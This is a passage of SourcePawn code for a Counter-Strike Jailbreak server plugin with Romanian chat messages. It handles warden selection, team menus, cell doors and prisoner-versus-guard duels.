				BecomeSimonMenu(i);
			}
		}
	}
	return Plugin_Handled;
}

public Action PickSimon(Handle Timer, any data) 
{
	int  teamCountCT = GetTeamClientCount(3);
	if(teamCountCT > 0)
	{
		for(int i=1; i<=MaxClients; i++)
		{
			if(IsValidClient(i))
			{
				if(Simon == -1)
				{
					iNumClients = 0;
					if(IsClientInGame(i) && IsPlayerAlive(i) && BecomeSimon[i])
					{
						iClients[iNumClients++] = i;
					}
				
					if(iNumClients != 0)
					{
						int iRandomClient = iClients[GetRandomInt(0, iNumClients-1)];
						SetTheSimon(iRandomClient);
						SimonPicked = true;
					}
			
					if(Simon == -1)
					{
						if(GetClientTeam(i) == 3)
							PrintToChat(i, " \x0F[BOT]PlayArena\x01: Un gardian să scrie \x06/simon\x01.");
						SimonPicked = true;
					}
				}		
			}
		}
	}
	return Plugin_Handled;
}

public Action BecomeSimonMenu(int client)
{
	Menu meniu = new Menu(BecomeSimonMenuHandler);
	meniu.SetTitle("\nDorești să candidezi la funcția de Simon?");
	meniu.AddItem("yes", "Da");
	meniu.AddItem("no", "Nu");
	meniu.ExitBackButton = false;
	meniu.Display(client, 8);

	return Plugin_Handled;
}

public int BecomeSimonMenuHandler(Menu menu, MenuAction action, int client, int itemNum) 
{
	if (action == MenuAction_Select) 
	{
		char info[32];
		GetMenuItem(menu, itemNum, info, sizeof(info));

		if (strcmp(info,"yes") == 0) 
		{
			BecomeSimon[client] = true;
		}
		if (strcmp(info,"no") == 0 ) 
		{
			BecomeSimon[client] = false;
		}
	}
}

public Action SetTheSimon(int client)
{
	for(int i = 1; i <= MaxClients; i++)
	{
		if(IsValidClient(i))
		{
			ClientCommand(i, "play \"*xsag/jbgo/warden_xsag.mp3\"");
		}
	}
	PrintToChatAll(" \x0F[BOT]PlayArena\x01: \x10%N \x01este noul Simon.", client);
	SimonPicked = true;
	Simon = client;
	SetEntityModel(client, "models/player/custom_player/kuristaja/cso2/lincoln/lincoln.mdl");
	SetClientListeningFlags(client, VOICE_NORMAL);
	FakeClientCommand(client, "sm_menu");
}

public bool ProcessSimon(const char[] pattern, Handle clients)
{
	for (int i = 1; i <= MaxClients; i++)
	{
		if(IsClientInGame(i) && Simon == i)
			PushArrayCell(clients, i);
	}
	return true;
}

public bool ProcessNotSimon(const char[] pattern, Handle clients)
{
	for (int i = 1; i <= MaxClients; i++)
	{
		if (IsClientInGame(i) && Simon != i && !GetAdminFlag(GetUserAdmin(i), Admin_Generic))
			PushArrayCell(clients, i);
	}
	return true;
}

public void OnClientPutInServer(int client) 
{
	if(!IsValidClient(client)) 
	{
		return;
	}
	HasAccepted[client] = false;
	SDKHook(client, SDKHook_OnTakeDamage, Hook_OnTakeDamage);
	SDKHook(client, SDKHook_WeaponCanUse, Hook_WeaponCanUse);
	SDKHook(client, SDKHook_PostThinkPost, OnPostThinkPost);
	SDKHook(client, SDKHook_WeaponEquipPost, EventItemPickup2);
}

public void OnPostThinkPost(int client)
{
    SetEntProp(client, Prop_Send, "m_iAddonBits", 0);
}


public Action ShowSimonMenu(Handle Timer, any data) 
{
	for (int i = 1; i <= MaxClients; i++)
	{	
		if(IsValidClient(i))
		{
			BecomeSimon[i] = false;
				
			if(GetClientTeam(i) == 3) 
			{
				BecomeSimonMenu(i);
			}
		}
	}
	return Plugin_Handled;
}

public Action CheckTeam(Handle timer, int client)
{
	if(IsValidClient(client) && GetClientTeam(client) == 3)
	{
		PrintToChat(client, " \x0F[BOT]PlayArena\x01: Respectă regulamentul, altfel o fii exclus permanent de la gardieni.");
	}
}

public Action Hook_OnTakeDamage(int client, int &attacker, int &inflictor, float &damage, int &damagetype)
{
	if(BoxEnabled && !DuelEnabled)
	{
		if(IsValidClient(attacker) && GetClientTeam(attacker) == 3 && GetClientTeam(client) == 3 && attacker != client)
		{
			damage = 0.0;
			return Plugin_Changed;
		}
		else if(IsValidClient(attacker) && GetClientTeam(attacker) == 2 && GetClientTeam(client) == 3 && attacker != client)
		{
			damage = 0.0;
			return Plugin_Changed;
		}
	}
	else if(!DuelEnabled)
	{
		if(IsValidClient(attacker) && GetClientTeam(attacker) == 2 && GetClientTeam(client) == 3 && attacker != client)
		{
			if(attack_timer == INVALID_HANDLE)
			{
				for(int x = 1; x <= MaxClients; x++)
				{
					if(IsValidClient(x))
					{
						ClientCommand( x, "play \"*xsag/jbgo/revolt_xsag.mp3\"" );
					}
				}	
				SetEntityRenderColor(attacker, 255, 0, 0, 255);
				PrintCenterTextAll("%N a devenit agresiv", attacker);
				attack_timer = CreateTimer(10.0, AttackTimerEnd);
			}
		}
	}
	else if(DuelEnabled)
	{
		if(IsValidClient(attacker) && GetClientTeam(attacker) == 3 && GetClientTeam(client) == 2 && !PlayerDuelGuard[attacker] && !PlayerDuelPrisonier[client] && attacker != client)
		{
			damage = 0.0;
			return Plugin_Changed;
		}
		else if(IsValidClient(attacker) && GetClientTeam(attacker) == 2 && GetClientTeam(client) == 3 && !PlayerDuelGuard[client] && !PlayerDuelPrisonier[attacker] && attacker != client)
		{
			damage = 0.0;
			return Plugin_Changed;
		}
	}
	return Plugin_Continue;
}

public Action AttackTimerEnd(Handle timer)
{
	ClearTimer(attack_timer);
}

public Action RespawnPlayerT(Handle timer, int client)
{
	if(g_ZileJBGO == 0 || g_ZileJBGO == 7)
	{
		CS_RespawnPlayer(client);
		SetEntityRenderColor(client, 0, 255, 0, 255);
	}
}


public void Event_PlayerConnect(Event event, const char[] name, bool dontBroadcast) 
{
	int client = GetClientOfUserId(event.GetInt("userid")), teamCountT = GetTeamClientCount(2);
	ChangeClientTeam(client, CS_TEAM_T);
	ForcePlayerSuicide(client);
	SchimbaEchipa(client);
	CreateTimer(0.2, RespawnPlayerT, client);
	if(teamCountT == 0)
	{
		ServerCommand("mp_restartgame 1");
		g_ZileJBGO = -1;
	}
}

stock bool SchimbaEchipa(int client)
{
	int Prizonieri = 0;
	int Gardieni = 0;
	int Vizitatori = 0;
	char PrizonieriC[64];
	char GardieniC[64];
	char VizitatoriC[64];
	for(int x = 1; x <= MaxClients; x++)
	{
		if(IsClientInGame(x) && GetClientTeam(x) == 2)
		{
			Prizonieri++;
		}
		if(IsClientInGame(x) && GetClientTeam(x) == 3)
		{
			Gardieni++;
		}
		if(IsClientInGame(x) && GetClientTeam(x) == 1)
		{
			Vizitatori++;
		}
	}
	
	Format(PrizonieriC, sizeof(PrizonieriC), "Deținuți - [%i]", Prizonieri);	
	Format(GardieniC, sizeof(GardieniC), "Gardieni: [%i]", Gardieni);
	Format(VizitatoriC, sizeof(VizitatoriC), "Vizitatori - [%i]", Vizitatori);
	
	if (GetClientTeam(client) == 3 || GetClientTeam(client) == 2)
	{
		Menu meniu_schimbaechipa = new Menu(SchimbaEchipaMenuHandler);
		meniu_schimbaechipa.SetTitle("----------------\nAlege Echipa\nRație: 3 cu 1\n----------------");
		if (GetClientTeam(client) == 2)
		{
			meniu_schimbaechipa.AddItem("", PrizonieriC, ITEMDRAW_DISABLED);
		}
		else if (GetClientTeam(client) != 2)
		{
			meniu_schimbaechipa.AddItem("", PrizonieriC);
		}
		
		if (GetClientTeam(client) == 3)
		{
			meniu_schimbaechipa.AddItem("", GardieniC, ITEMDRAW_DISABLED);
		}
		else if (GetClientTeam(client) != 3)
		{
			meniu_schimbaechipa.AddItem("", GardieniC);
		}
		meniu_schimbaechipa.AddItem("", VizitatoriC);
		meniu_schimbaechipa.ExitBackButton = true;
		meniu_schimbaechipa.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	if (GetClientTeam(client) == 1)
	{
		Menu meniu_schimbaechipa = new Menu(SchimbaEchipaMenuHandler);
		meniu_schimbaechipa.SetTitle("----------------\nAlege Echipa\nRație: 3 cu 1\n----------------");
		meniu_schimbaechipa.AddItem("", PrizonieriC);
		meniu_schimbaechipa.AddItem("", GardieniC);
		
		if (GetClientTeam(client) == 1)
		{
			meniu_schimbaechipa.AddItem("", VizitatoriC, ITEMDRAW_DISABLED);
		}
		else if (GetClientTeam(client) != 1)
		{
			meniu_schimbaechipa.AddItem("", VizitatoriC);
		}
		meniu_schimbaechipa.ExitBackButton = true;
		meniu_schimbaechipa.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int SchimbaEchipaMenuHandler(Menu menu, MenuAction action, int client, int param)
{
	if (action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
        FakeClientCommand(client, "sm_menu");
	}
	else if(action == MenuAction_Select)
	{
		char select[1024];
		int teamCountT = GetTeamClientCount(2), teamCountCT = GetTeamClientCount(3);
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param)
		{
			case 0:
			{
				ChangeClientTeam(client, CS_TEAM_T);
				if(teamCountT == 0)
				{
					ServerCommand("mp_restartgame 1");
					g_ZileJBGO = -1;
				}
			}
			case 1:
			{
				if(teamCountT / 3 < teamCountCT)
				{
					PrintToChat(client, " \x0F[BOT]PlayArena\x01: Nu poti intra la Gardieni, 1 Gardian la 3 Deținuți");
					ChangeClientTeam(client, CS_TEAM_T);
				}
				else
				{	
					ChangeClientTeam(client, CS_TEAM_CT);
					if(teamCountCT == 0)
					{
						PrintToChatAll(" \x0F[BOT]PlayArena\x01: \x10%N\x01 este primul gardian. Jocul începe în căteva secunde!", client);
						ServerCommand("mp_restartgame 1");
						g_ZileJBGO = -1;
					}
				}
			}
			case 2:
			{
				ChangeClientTeam(client, CS_TEAM_SPECTATOR);
				SchimbaEchipa(client);
			}
		}
	}
}

public Action SilentEvent(Event event, const char[] name, bool dontBroadcast)
{
	SetEventBroadcast(event, true);
	return Plugin_Continue;
}

public void StartFreeDay()
{
	if(!FreedayEnabled)
	{
		FreedayEnabled = true;
		for (int i = 1; i <= MaxClients; i++)
		{
			if(IsValidClient(i) && GetClientTeam(i) == 2 && IsPlayerAlive(i))		
			{
				SetEntityRenderColor(i, 0, 255, 0, 255);
			}
		}
		SimonOpenDoorss();
	}
}

public Action Hook_WeaponCanUse(int client, int weapon)
{
	char classname[64];
	GetEntityClassname(weapon, classname, sizeof classname);
	if(DuelDeagle)
	{
		for(int i = 0; i < 44; i++)
		{
			if(StrEqual(classname, DuelDeagleBlock[i]))
			{
				return Plugin_Handled;
			}
		}
	}
	if(DuelRevolver)
	{
		for(int i = 0; i < 43; i++)
		{
			if(StrEqual(classname, DuelRevolverBlock[i]))
			{
				return Plugin_Handled;
			}
		}
	}
	if(DuelHe)
	{
		for(int i = 0; i < 44; i++)
		{
			if(StrEqual(classname, DuelHeBlock[i]))
			{
				return Plugin_Handled;
			}
		}	
	}
	if(DuelDecoy)
	{
		for(int i = 0; i <44; i++)
		{
			if(StrEqual(classname, DuelDecoyBlock[i]))
			{
				return Plugin_Handled;
			}
		}
	}
	if(DuelPumni)
	{
		for(int i = 0; i < 45; i++)
		{
			if(StrEqual(classname, DuelPumniBlock[i]))
			{
				return Plugin_Handled;
			}
		}	
	}
	return Plugin_Continue;
}

stock int GetNextWeapon(int client, int &weaponIndex)
{
	static int weaponsOffset = -1;
	if (weaponsOffset == -1)
	{
		weaponsOffset = FindDataMapInfo(client, "m_hMyWeapons");
	}

	int offset = weaponsOffset + (weaponIndex * 4);
	int weapon;
	
	while (weaponIndex < 48) 
	{
		weaponIndex++;
		weapon = GetEntDataEnt2(client, offset);
        
		if (IsValidEdict(weapon)) 
		{
			return weapon;
		}
		offset += 4;
    }
	return -1;
}

public Action Event_PrePlayerDeath(Event ev, char[] name, bool dontBroadcast)
{
	int victim = GetClientOfUserId(GetEventInt(ev, "userid"));   
	int attacker = GetClientOfUserId(GetEventInt(ev, "attacker"));

	if(victim == attacker) return Plugin_Handled;
	
	return Plugin_Continue;
}

public Action OnPlayerRunCmd(int client, int &buttons, int &impulse, float vel[3], float angles[3], int &weapon)
{
	if (!IsValidClient(client) || !IsPlayerAlive(client))
	{
		return Plugin_Continue;
	}
	
	if (IsPlayerAlive(client))
    {
		if (buttons & IN_JUMP)
		{
			if (!(GetEntityFlags(client) & FL_ONGROUND))
			{
				if (!(GetEntityMoveType(client) & MOVETYPE_LADDER))
				{
					if (GetEntProp(client, Prop_Data, "m_nWaterLevel") <= 1)
					{
						buttons &= ~IN_JUMP;
					}
				}
			}
		}
    }
    
	if (buttons & IN_ATTACK2)
	{
		char buffer[128];
		int item = GetEntPropEnt(client, Prop_Send, "m_hActiveWeapon");
		
		if(item == -1)
			return Plugin_Continue;
		
		GetEntityClassname(item, buffer, sizeof(buffer));
		
		if (StrEqual(buffer, "weapon_fists", false))
		{
			buttons &= ~IN_ATTACK2;
			return Plugin_Changed;
		}		
	}
	
	if(DuelEnabled)
	{
		if (buttons & IN_USE)
		{
			buttons &= ~IN_USE;
		}
	}
	
	return Plugin_Continue;
}

public Action Command_GeneralMenu(int client, int args)
{
	if(!DuelEnabled)
	{
		MeniuGeneral(client);
	}
	else
	{
		PrintToChat(client, " \x0F[BOT]PlayArena\x01: Nu poți să folosești meniul în timpul unui duel.");
	}
	return Plugin_Handled;
}

stock bool MeniuGeneral(int client)
{
	if(GetClientTeam(client) == 3)
	{
		Menu meniu_gardieni = new Menu(GardianMenuHandler);
		meniu_gardieni.SetTitle("----------------\nMeniu Gardieni\n----------------");	
		if(client == Simon)
		{
			meniu_gardieni.AddItem("", "Meniu Simon");
		}
		else if(client != Simon)
		{
			meniu_gardieni.AddItem("", "Meniu Simon",ITEMDRAW_DISABLED);
		}
		meniu_gardieni.AddItem("", "Magazie Arme");
		meniu_gardieni.AddItem("", "Schimbă Echipa");
		meniu_gardieni.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	if (GetClientTeam(client) == 2)
	{
		Menu meniu_prizonieri = new Menu(PrizonierMenuHandler);
		meniu_prizonieri.SetTitle("----------------\nMeniu Deținuți\n----------------");	
		if(!DuelEnabled)
		{
			meniu_prizonieri.AddItem("", "Shop");
		}
		else
		{
			meniu_prizonieri.AddItem("", "Shop", ITEMDRAW_DISABLED);
		}
		meniu_prizonieri.AddItem("", "Schimbă Echipa");
		meniu_prizonieri.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	if (GetClientTeam(client) == 1)
	{
		Menu meniu_vizitatori = new Menu(VizitatoriMenuHandler);
		meniu_vizitatori.AddItem("", "Alege Echipa");
		meniu_vizitatori.ExitButton = false;
		meniu_vizitatori.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int VizitatoriMenuHandler(Menu menu, MenuAction action, int client, int param)
{
	if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param)
		{
			case 0:
			{
				SchimbaEchipa(client);
			}
		}
	}
}

public int GardianMenuHandler(Menu menu, MenuAction action, int client, int param)
{
	if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param) 				
		{
			case 0:
			{
				MeniuSimon(client);
			}
			case 1:
			{
				MagazieArme(client);
			}
			case 2:
			{
				SchimbaEchipa(client);
			}
		}
	}
}

stock bool MeniuSimon(int client)
{
	if(client == Simon)
	{
		Menu meniu_simon = new Menu(SimonMenuHandler);
		meniu_simon.SetTitle("Meniu Simon");	
		meniu_simon.AddItem("", "Ding");
		meniu_simon.AddItem("", "Administrare Celule");
		if(FreedayEnabled || BoxEnabled)
		{	
			meniu_simon.AddItem("", "Zile Speciale  (În lucru)",ITEMDRAW_DISABLED);
		}
		else
		{
			meniu_simon.AddItem("days", "Zile Speciale (În lucru)",ITEMDRAW_DISABLED);
		}
		meniu_simon.AddItem("", "Mini-Jocuri");
		meniu_simon.AddItem("", "Administrare Deținuți");
		meniu_simon.AddItem("", "Demisionează");	
		meniu_simon.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int SimonMenuHandler(Menu menu, MenuAction action, int client, int param)
{
	if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param)
		{
			case 0:
			{
				for(int i = 1; i <= MaxClients; i++)
				{
					if(IsValidClient(i))
					{
						ClientCommand(i, "play \"*xsag/jbgo/ding_xsag.mp3\"");
					}
				}
				MeniuSimon(client);
			}
			case 1:
			{
				FakeClientCommand(client, "sm_celule");
			}
			case 2:
			{
				
			}
			case 3:
			{
				MiniJocuri(client);
			}
			case 4:
			{
				MeniuAdministareDetinuti(client);
			}
			case 5:
			{
				FakeClientCommand(client, "sm_ns");
			}
		}
	}
}

public Action Command_Celule(int client, int args)
{
	if(Simon != client)
	{
		PrintToChat(client, " \x0F[BOT]PlayArena\x01: Trebuie sa fii \x10Simon\x01 pentru a face acest lucru!");
		return Plugin_Handled;
	}
	Menu meniu_celule = new Menu(MeniuCeluleHandler);
	meniu_celule.SetTitle("Administrare Celule");
	if(openDoors == 0)
	{
		meniu_celule.AddItem("", "Deschide celulele");	
	}
	else if(openDoors == 1)
	{
		meniu_celule.AddItem("", "Închide celulele");
	}
	meniu_celule.AddItem("", "Înapoi la meniu");
	meniu_celule.ExitBackButton = false;
	meniu_celule.Display(client, MENU_TIME_FOREVER);
	return Plugin_Handled;
}

public int MeniuCeluleHandler(Menu menu, MenuAction action, int client,int param)
{
	if (action == MenuAction_Select)
	{ 
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param) 
		{
			case 0:
			{
				FakeClientCommand(client, "sm_onofcelule");
				FakeClientCommand(client, "sm_celule");
			}
			case 1:
			{
				MeniuSimon(client);
			}
		} 
	}
}

public int PrizonierMenuHandler(Menu menu, MenuAction action, int client, int param)
{
	if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param) 				
		{
			case 0:
			{
				FakeClientCommand(client, "sm_shop");
			}
			case 1:
			{
				SchimbaEchipa(client);
			}
		}
	}
}

public void SimonOpenDoorss()
{
	switch(openDoors)
	{
		case 0:
		{
			for(int i = 0; i < GetArraySize(g_DoorList); i++)
			{
				int door = GetArrayCell(g_DoorList, i);
				AcceptEntityInput(door, "Open");
			}
			for(int x = 1; x <= MaxClients; x++)
			{
				if(IsValidClient(x))
				{
					ClientCommand( x, "play \"*xsag/jbgo/startfd_xsag.mp3\"" );
				}
			}
			openDoors = 1;	
		}
	}
}

public Action SimonOpenDoors(int client, int args)
{
	if(IsValidClient(client) && Simon != client)
	{
		PrintToChat(client, " \x0F[BOT]PlayArena\x01: Trebuie sa fii \x10Simon\x01 pentru a face acest lucru!");
		return Plugin_Handled;
	}
	switch(openDoors)
	{
		case 0:
		{
			for(int i = 0; i < GetArraySize(g_DoorList); i++)
			{
				int door = GetArrayCell(g_DoorList, i);
				AcceptEntityInput(door, "Open");
			}
			for(int x = 1; x <= MaxClients; x++)
			{
				if(IsValidClient(x))
				{
					ClientCommand( x, "play \"*xsag/jbgo/open_xsag.mp3\"" );
				}
			}
			openDoors = 1;
			PrintToChatAll(" \x0F[BOT]PlayArena\x01: \x10%N\x01 a deschis celulele!", client);
			
		}
		case 1:
		{
			for(int i = 0; i < GetArraySize(g_DoorList); i++)
			{
				int door = GetArrayCell(g_DoorList, i);
				AcceptEntityInput(door, "Close");
			}
			for(int x = 1; x <= MaxClients; x++)
			{
				if(IsValidClient(x))
				{
					ClientCommand( x, "play \"*xsag/jbgo/close_xsag.mp3\"" );
				}
			}
			openDoors = 0;
			PrintToChatAll(" \x0F[BOT]PlayArena\x01: \x10%N\x01 a inchis celulele!", client);
		}
	}
	return Plugin_Handled;
}


void CacheDoors() {
	int ent = -1, door = -1;
	
	while((ent = FindEntityByClassname(ent, "info_player_terrorist")) != -1)
	{
		float prisoner_pos[3];
		GetEntPropVector(ent, Prop_Data, "m_vecOrigin", prisoner_pos);
		while((door = FindEntityByClassname(door, "func_door")) != -1)
		{
			float door_pos[3];
			GetEntPropVector(door, Prop_Data, "m_vecOrigin", door_pos);
			if(GetVectorDistance(door_pos, prisoner_pos) <= g_Min)
			{
				g_Min = GetVectorDistance(door_pos, prisoner_pos);
			}
		}
		while((door = FindEntityByClassname(door, "func_door_rotating")) != -1)
		{
			float door_pos[3];
			GetEntPropVector(door, Prop_Data, "m_vecOrigin", door_pos);
			if(GetVectorDistance(door_pos, prisoner_pos) <= g_Min)
			{
				g_Min = GetVectorDistance(door_pos, prisoner_pos);
			}
		}
		while((door = FindEntityByClassname(door, "func_movelinear")) != -1)
		{
			float door_pos[3];
			GetEntPropVector(door, Prop_Data, "m_vecOrigin", door_pos);
			if(GetVectorDistance(door_pos, prisoner_pos) <= g_Min)
			{
				g_Min = GetVectorDistance(door_pos, prisoner_pos);
			}
		}
		while((door = FindEntityByClassname(door, "prop_door_rotating")) != -1)
		{
			float door_pos[3];
			GetEntPropVector(door, Prop_Data, "m_vecOrigin", door_pos);
			if(GetVectorDistance(door_pos, prisoner_pos) <= g_Min)
			{
				g_Min = GetVectorDistance(door_pos, prisoner_pos);
			}
		}
	}
	g_Min += 100;
	while((ent = FindEntityByClassname(ent, "info_player_terrorist")) != -1)
	{
		float prisoner_pos[3];
		GetEntPropVector(ent, Prop_Data, "m_vecOrigin", prisoner_pos);
		while((door = FindEntityByClassname(door, "func_door")) != -1)
		{
			float door_pos[3];
			GetEntPropVector(door, Prop_Data, "m_vecOrigin", door_pos);
			if(GetVectorDistance(door_pos, prisoner_pos) <= g_Min)
			{
				PushArrayCell(g_DoorList, door);
			}
		}
		while((door = FindEntityByClassname(door, "func_door_rotating")) != -1)
		{
			float door_pos[3];
			GetEntPropVector(door, Prop_Data, "m_vecOrigin", door_pos);
			
			if(GetVectorDistance(door_pos, prisoner_pos) <= g_Min)
			{
				PushArrayCell(g_DoorList, door);
			}
		}
		while((door = FindEntityByClassname(door, "func_movelinear")) != -1)
		{
			float door_pos[3];
			GetEntPropVector(door, Prop_Data, "m_vecOrigin", door_pos);
			
			if(GetVectorDistance(door_pos, prisoner_pos) <= g_Min) {
				PushArrayCell(g_DoorList, door);
			}
		}
		while((door = FindEntityByClassname(door, "prop_door_rotating")) != -1)
		{
			float door_pos[3];
			GetEntPropVector(door, Prop_Data, "m_vecOrigin", door_pos);
			
			if(GetVectorDistance(door_pos, prisoner_pos) <= g_Min)
			{
				PushArrayCell(g_DoorList, door);
			}
		}
	}
}

public Action Command_Duel(int client, int args)
{
	if(!(g_ZileJBGO == 0 || g_ZileJBGO == 7))
	{
		if(!IsPlayerAlive(client) && GetClientTeam(client) == 2)
		{
			PrintToChat(client, " \x0F[BOT]PlayArena\x01: Trebuie să fii în viată pentru a face duel.");
			return Plugin_Handled;
		}
		if(!DuelEnabled)
		{
			int availabletargetsG = 0;
				
			for (int i = 1; i <= MaxClients; i++)
			{
				if(IsClientConnected(i) && IsClientInGame(i) && GetClientTeam(i) == 3 && IsPlayerAlive(i))		
				{
					++availabletargetsG;
				}
			}
			if(availabletargetsG > 0) // Verificare gardieni
			{
				int availabletargets = 0;
					
				for (int i = 1; i <= MaxClients; i++)
				{
					if(IsClientConnected(i) && IsClientInGame(i) && GetClientTeam(i) == 2 && IsPlayerAlive(i))		
					{
						++availabletargets;
					}
				}

				if(availabletargets > 1) 
				{
					PrintToChat(client, " \x0F[BOT]PlayArena\x01: Nu ești ultimul deținut să poți face duel.");
					return Plugin_Handled;
				}
				else
				{
					if(IsPlayerAlive(client) && GetClientTeam(client) == 2)
					{
						if(BoxEnabled)
						{
							PrintToChatAll(" \x0F[BOT]PlayArena\x01: Meciul de box a fost oprit automat.");
							StopBox();
						}
						Menu meniu_duel = new Menu(DuelMenuHandler);
						meniu_duel.SetTitle("----------------\nUltima Dorință\n----------------");
						meniu_duel.AddItem("", "Zi liberă");
						meniu_duel.AddItem("", "Cere 6 Țigări");
						meniu_duel.AddItem("", "Duel Cuțit");
						meniu_duel.AddItem("", "Duel Mâini Goale");
						meniu_duel.AddItem("", "Duel Pistoale");
						meniu_duel.AddItem("", "Duel Grenade");
						meniu_duel.ExitButton = false;
						meniu_duel.Display(client, MENU_TIME_FOREVER);
					}
					else
					{
						PrintToChat(client, " \x0F[BOT]PlayArena\x01: Doar deținuții pot să foloască comanda \x06/lr\x01.");
					}
				}
			}
			else if(GetClientTeam(client) == 3)
			{
				PrintToChat(client, " \x0F[BOT]PlayArena\x01: Doar deținuții pot să foloască comanda \x06/lr\x01.");
			}
			else
			{
				PrintToChat(client, " \x0F[BOT]PlayArena\x01: Trebuie să fie cel puțin un Gardian în viată pentru a începe un duel.");
			}
		}
		else
		{
			PrintToChat(client, " \x0F[BOT]PlayArena\x01: Ești deja în duel.");
		}
	}
	else
	{
		PrintToChat(client, " \x0F[BOT]PlayArena\x01: Duelul este dezactivat când este \x06FreeDay\x01.");
	}
	return Plugin_Handled;
}

public int DuelMenuHandler(Menu menu, MenuAction action, int client, int param)
{
	int availabletargets = 0;
					
	for (int i = 1; i <= MaxClients; i++)
	{
		if(IsClientConnected(i) && IsClientInGame(i) && GetClientTeam(i) == 2 && IsPlayerAlive(i))		
		{
			++availabletargets;
			}
	}
	if(IsValidClient(client) && !IsPlayerAlive(client) && GetClientTeam(client) == 2)
	{
		delete menu;
		PrintToChat(client, " \x0F[BOT]PlayArena\x01: Trebuie să fii în viată pentru a face duel.");
	}
	else if(availabletargets > 1) 
	{
		delete menu;
		PrintToChat(client, " \x0F[BOT]PlayArena\x01: Nu ești ultimul deținut să poți face duel.");
	}
	else if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param)
		{
			case 0:
			{
				g_bGetFreeDay[client] = true;
				ForcePlayerSuicide(client);
				PrintToChat(client, " \x0F[BOT]PlayArena\x01: Ai ales FreeDay pentru ziua următoare.");
			}
			case 1:
			{
				Tigari[client] += 6;
				ForcePlayerSuicide(client);
				PrintToChat(client, " \x0F[BOT]PlayArena\x01: Gardienii ți-au dat 6 țigări.");
			}
			case 2:
			{
				char target[50];
				Menu meniu_cutit = new Menu(CutitMenuHandler);
				meniu_cutit.SetTitle("----------------\nAlege Oponentul\n----------------");
				for (int i = 1; i <= MaxClients; i++)
				{
					if(IsValidClient(i) && GetClientTeam(i) == 3 && IsPlayerAlive(i) )		
					{
						GetClientName(i, target, sizeof(target));
						meniu_cutit.AddItem(target, target);
					}
				}
				meniu_cutit.Display(client, MENU_TIME_FOREVER);
			}
			case 3:
			{
				char target[50];
				Menu meniu_pumni = new Menu(PumniMenuHandler);
				meniu_pumni.SetTitle("----------------\nAlege Oponentul\n----------------");
				for (int i = 1; i <= MaxClients; i++)
				{
					if(IsValidClient(i) && GetClientTeam(i) == 3 && IsPlayerAlive(i) )		
					{
						GetClientName(i, target, sizeof(target));
						meniu_pumni.AddItem(target, target);
					}
				}
				meniu_pumni.Display(client, MENU_TIME_FOREVER);
			}
			case 4:
			{
				DuelPistoale(client);
			}
			case 5:
			{
				DuelGrenade(client);
			}
		}
	}
}

public int CutitMenuHandler(Menu menu, MenuAction action, int client, int param2)
{
	if(action == MenuAction_Select)
	{
		DuelEnabled = true;
		char arg1[50];
		GetMenuItem(menu, param2, arg1, sizeof(arg1));
		int target = FindTarget(client, arg1, true, false);
		if (target != -1) 
		{
			for(int x = 1; x <= MaxClients; x++)
			{
				if(IsClientInGame(x))
				{
					ClientCommand( x, "play \"*xsag/jbgo/lr_xsag.mp3\"" );
				}
			}	
			if(GetClientTeam(client) == 2)
			{
				RemoveAllWeapons(client);
				int weapon = GivePlayerItem(client, "weapon_knife_stiletto");
				EquipPlayerWeapon(client, weapon);
				SetEntityRenderMode(client, RENDER_TRANSCOLOR);
				SetEntityRenderColor(client, 255, 0, 0, 255);
				SetEntityHealth(client, 100);
				SetEntProp(client, Prop_Send, "m_ArmorValue", 0);
				SetEntProp(client, Prop_Send, "m_bHasHelmet", 0);
				PlayerDuelPrisonier[client] = true;
			}
			if(GetClientTeam(target) == 3)
			{
				RemoveAllWeapons(target);
				int weapon = GivePlayerItem(target, "weapon_knife_stiletto"); 
				EquipPlayerWeapon(target, weapon);
				SetEntityRenderMode(target, RENDER_TRANSCOLOR);
				SetEntityRenderColor(target, 0, 0, 255, 255);
				SetEntityHealth(target, 100);
				SetEntProp(target, Prop_Send, "m_ArmorValue", 0);
				SetEntProp(target, Prop_Send, "m_bHasHelmet", 0);
				PlayerDuelGuard[target] = true;
			}
		}
	}
}

public int PumniMenuHandler(Menu menu, MenuAction action, int client, int param2)
{
	if(action == MenuAction_Select)
	{
		DuelEnabled = true;
		DuelPumni = true;
		char arg1[50];
		GetMenuItem(menu, param2, arg1, sizeof(arg1));
		int target = FindTarget(client, arg1, true, false);
		if (target != -1) 
		{
			for(int x = 1; x <= MaxClients; x++)
			{
				if(IsClientInGame(x))
				{
					ClientCommand( x, "play \"*xsag/jbgo/lr_xsag.mp3\"" );
				}
			}	
			if(GetClientTeam(client) == 2)
			{
				RemoveAllWeapons(client);
				int weapon = GivePlayerItem(client, "weapon_fists");
				EquipPlayerWeapon(client, weapon);
				SetEntityRenderMode(client, RENDER_TRANSCOLOR);
				SetEntityRenderColor(client, 255, 0, 0, 255);
				SetEntityHealth(client, 100);
				SetEntProp(client, Prop_Send, "m_ArmorValue", 0);
				SetEntProp(client, Prop_Send, "m_bHasHelmet", 0);
				PlayerDuelPrisonier[client] = true;
			}
			if(GetClientTeam(target) == 3)
			{
				RemoveAllWeapons(target);
				int weapon = GivePlayerItem(target, "weapon_fists"); 
				EquipPlayerWeapon(target, weapon);
				SetEntityRenderMode(target, RENDER_TRANSCOLOR);
				SetEntityRenderColor(target, 0, 0, 255, 255);
				SetEntityHealth(target, 100);
				SetEntProp(target, Prop_Send, "m_ArmorValue", 0);
				SetEntProp(target, Prop_Send, "m_bHasHelmet", 0);
				PlayerDuelGuard[target] = true;
			}
		}
	}
}

stock bool DuelGrenade(int client)
{
	if (IsPlayerAlive(client) && GetClientTeam(client) == 2)
	{
